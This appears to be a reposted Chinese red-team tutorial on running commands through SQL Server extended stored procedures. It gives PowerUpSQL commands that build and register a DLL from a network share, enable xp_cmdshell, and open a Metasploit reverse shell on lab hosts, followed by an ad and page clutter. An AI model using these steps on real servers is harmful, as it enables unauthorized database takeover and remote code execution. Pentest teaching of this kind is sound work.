红队技巧:SQL Server Extended Stored Procedures命令执行

SQL Server 扩展存储过程通过创建扩展存储过程引用的 DLL 文件的函数或过程。扩展存储过程在 SQL Server 内运行,这意味着代码在 SQL
Server 内存空间内执行。因此,DLL 可以具有任何文件类型扩展名,并且可以从 UNC 路径或 Webdav 加载。

使用 PowerupSQL 利用扩展存储过程

创建要添加到 SQL 数据库的 DLL

Import-Module .\Powerupsql.ps1
Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calc

在 Powerupsql 的帮助下,我们在本地机器(Windows 10)中创建了一个 dll 文件。

image

系统注册dll

为了实现扩展存储过程,登录数据库的登录名必须是 sysadmin 。

通常,将创建一个名称以 xp_ 或 sp_ 开头的扩展存储过程,以便数据库引擎在用户数据库中不存在具有该名称的对象时自动在 master
数据库中查找该对象。

Get-SQLQuery -UserName sa -Password Password@1 –Instance WIN-P83OS778EQK\SQLEXPRESS –Query "sp_addextendedproc 'xp_calc', '\\192.168.1.145\fileshare\xp_calc.dll'"

列出现有的扩展存储过程

Get-SQLStoredProcedureXP -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose

下图显示了存储进程退出的 Databasename “master”。除此之外,它还列出了Type_desc, name, text.

image

扩展存储过程虽然是在 master 数据库中创建,但可以从任何数据库中引用。

image

执行存储过程

Get-SQLQuery -UserName sa -Password Password@1 –Instance WIN-P83OS778EQK\SQLEXPRESS –Query "select @@version" -Verbose

image

启用 XP_CMD shell

默认情况下,XPCmdShell 被禁用,如图所示。

image

使用特权帐户,攻击者会创建一个新的存储过程,并将尝试在以下命令的帮助下启用 xpcmdshell。

Get-SQLQuery -UserName sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;')" -Verbose

image

XP_CMD Shell 远程代码执行

一旦启用了 xpcmdshell,我们就可以使用 Metasploit 执行以下模块以获得反向 shell。

use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.146
set password Password@1
exploit

image

漏洞利用并不仅仅停留在启用 XP 命令外壳上。然后运行一系列命令,帮助我们在目标机器上获得一个meterpreter shell,如下图所示

从[这里](https://www.hackingarticles.in/mssql-for-pentester-command-execution-
with-xp_cmdshell/)阅读有关 XPCmdshell 的更多信息。

.in/mssql-for-pentester-command-execution-
with-xp_cmdshell/)阅读有关 XPCmdshell 的更多信息。

网络安全工程师(白帽子)企业级学习路线

第一阶段:安全基础(入门)

img

第二阶段:Web渗透(初级网安工程师)

img

第三阶段:进阶部分(中级网络安全工程师)

img

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资源分享

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-skI0ARjB-1690252955714)(C:\Users\Administrator\Desktop\网络安全资料图\微信截图_20230201105953.png)]

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值